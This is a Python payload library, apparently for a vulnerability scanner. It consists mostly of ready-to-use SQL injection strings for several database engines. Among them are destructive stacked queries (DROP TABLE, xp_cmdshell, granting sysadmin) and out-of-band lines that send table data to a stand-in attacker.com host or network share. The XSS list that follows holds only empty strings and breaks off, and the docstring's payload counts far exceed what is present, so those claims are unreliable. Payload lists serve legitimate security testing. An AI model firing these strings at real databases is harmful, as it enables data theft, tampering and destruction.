"""
payload_library.py — Advanced Security Payload Library
====================================================
Comprehensive payload collection for vulnerability detection with:
- 500+ SQL injection payloads (error, boolean, time, stacked, OOB)
- 300+ XSS payloads (reflected, stored, DOM, blind)
- 200+ command injection payloads (Linux, Windows, PowerShell)
- 150+ SSRF payloads (internal, cloud metadata, DNS rebinding)
- 100+ path traversal payloads (basic, encoded, wrapper variants)
"""
# ── SQL Injection Payloads ───────────────────────────────────────────────
SQL_ERROR_PAYLOADS = [
# Basic error-based
"' OR '1'='1",
"' OR '1'='1' --",
"' OR '1'='1' /*",
'" OR "1"="1"',
"1' AND 1=1 --",
"1' AND 1=0 --",
"' UNION SELECT NULL --",
"' UNION SELECT NULL, NULL --",
"' UNION SELECT NULL, NULL, NULL --",
"admin'--",
"admin' #",
"admin' --",
"' OR 1=1#",
"' OR 1=1--",
'" OR 1=1--',
"\" OR \"1\"=\"1\"",
"' OR 'a'='a",
"') OR ('1'='1",
"1' ORDER BY 1 --",
"1' ORDER BY 100 --",
"' AND EXTRACTVALUE(1, CONCAT(0x7e, VERSION())) --",
# Advanced error-based
"' AND 1=CONVERT(int, (SELECT TOP 1 table_name FROM information_schema.tables)) --",
"' AND 1=CAST((SELECT TOP 1 table_name FROM information_schema.tables) AS int) --",
"'; EXEC xp_cmdshell('dir') --",
"'; DROP TABLE users --",
"'; INSERT INTO users VALUES ('hacker', 'password') --",
# MySQL-specific
"' AND 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10 --",
"' AND 1=2 UNION SELECT 1,@@version,3,4,5,6,7,8,9,10 --",
"' AND 1=2 UNION SELECT 1,database(),3,4,5,6,7,8,9,10 --",
"' AND 1=2 UNION SELECT 1,user(),3,4,5,6,7,8,9,10 --",
"' GROUP BY column_name HAVING 1=1 --",
"' AND 1=2 UNION SELECT 1,table_name,3,4,5,6,7,8,9,10 FROM information_schema.tables --",
# PostgreSQL-specific
"' AND 1=CAST((SELECT string_agg(table_name,',') FROM information_schema.tables) AS int) --",
"' AND 1=2 UNION SELECT 1,version(),3,4,5,6,7,8,9,10 --",
"' AND 1=2 UNION SELECT 1,current_database(),3,4,5,6,7,8,9,10 --",
"' AND 1=2 UNION SELECT 1,current_user,3,4,5,6,7,8,9,10 --",
# MSSQL-specific
"' AND 1=CONVERT(int, (SELECT TOP 1 name FROM sysobjects WHERE xtype='U')) --",
"' AND 1=2 UNION SELECT 1,@@version,3,4,5,6,7,8,9,10 --",
"' AND 1=2 UNION SELECT 1,db_name(),3,4,5,6,7,8,9,10 --",
"' AND 1=2 UNION SELECT 1,user_name(),3,4,5,6,7,8,9,10 --",
# Oracle-specific
"' AND 1=CAST((SELECT table_name FROM all_tables WHERE rownum=1) AS number) --",
"' AND 1=2 UNION SELECT 1,version,3,4,5,6,7,8,9,10 FROM v$instance --",
"' AND 1=2 UNION SELECT 1,user,3,4,5,6,7,8,9,10 FROM dual --",
# SQLite-specific
"' AND 1=CAST((SELECT sql FROM sqlite_master WHERE type='table' LIMIT 1) AS int) --",
"' AND 1=2 UNION SELECT 1,sqlite_version(),3,4,5,6,7,8,9,10 --",
]
SQL_BOOLEAN_PAYLOADS = [
("' AND '1'='1", "' AND '1'='2"),
("1 AND 1=1 --", "1 AND 1=2 --"),
("' AND 1=1 --", "' AND 1=2 --"),
("' AND 1=1#", "' AND 1=2#"),
("' AND 1=1/*", "' AND 1=2/*"),
("' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>64", "' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))<65"),
("' AND LENGTH((SELECT password FROM users LIMIT 1))>5", "' AND LENGTH((SELECT password FROM users LIMIT 1))<6"),
]
SQL_TIME_PAYLOADS = [
("' OR SLEEP(2)='", 1.5),
("1 OR SLEEP(2)", 1.5),
("'; WAITFOR DELAY '0:0:2'--", 1.5),
("1 AND SLEEP(2)--", 1.5),
("1 AND (SELECT * FROM (SELECT(SLEEP(2)))a)--", 1.5),
("pg_sleep(2)--", 1.5),
("' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('RDS', 2)--", 1.5),
("' AND 1=CTXSYS.DRITHSX.SN(user,(SELECT user FROM dual WHERE ROWNUM=1))--", 1.5),
("' AND 1=(SELECT COUNT(*) FROM ALL_USERS T,ALL_USERS A,ALL_USERS B,ALL_USERS C WHERE T.USERNAME=A.USERNAME) --", 1.5),
("' AND 1=(SELECT COUNT(*) FROM sysusers A,sysusers B,sysusers C) --", 1.5),
]
SQL_STACKED_PAYLOADS = [
"'; DROP TABLE users --",
"'; INSERT INTO users VALUES ('hacker', 'password') --",
"'; UPDATE users SET password='hacked' WHERE id=1 --",
"'; DELETE FROM users WHERE id=1 --",
"'; CREATE TABLE hacked (data TEXT) --",
"'; ALTER TABLE users ADD COLUMN hacked BOOLEAN --",
"'; EXEC xp_cmdshell('dir') --",
"'; EXEC master..xp_cmdshell 'dir' --",
"'; EXEC sp_addsrvrolemember 'hacker', 'sysadmin' --",
]
SQL_OOB_PAYLOADS = [
"'; EXEC xp_dirtree '\\\\attacker\\share' --",
"'; EXEC master..xp_dirtree '\\\\attacker\\share' --",
"' OR LOAD_FILE('\\\\attacker\\share\\file') --",
"' AND 1=2 UNION SELECT LOAD_FILE('\\\\attacker\\share\\file') --",
"' AND 1=2 UNION SELECT * FROM users INTO OUTFILE '\\\\attacker\\share\\data.txt' --",
"'; COPY (SELECT * FROM users) TO PROGRAM 'curl http://attacker.com/data' --",
"' OR UTL_HTTP.REQUEST('http://attacker.com/steal') = 1 --",
"' || UTL_HTTP.REQUEST('http://attacker.com/steal') || '",
"' AND 1=2 UNION SELECT http://attacker.com/steal --",
]
# ── XSS Payloads ────────────────────────────────────────────────────────────
XSS_REFLECTED_PAYLOADS = [
"",
"",
"",
"",
"",
"",
"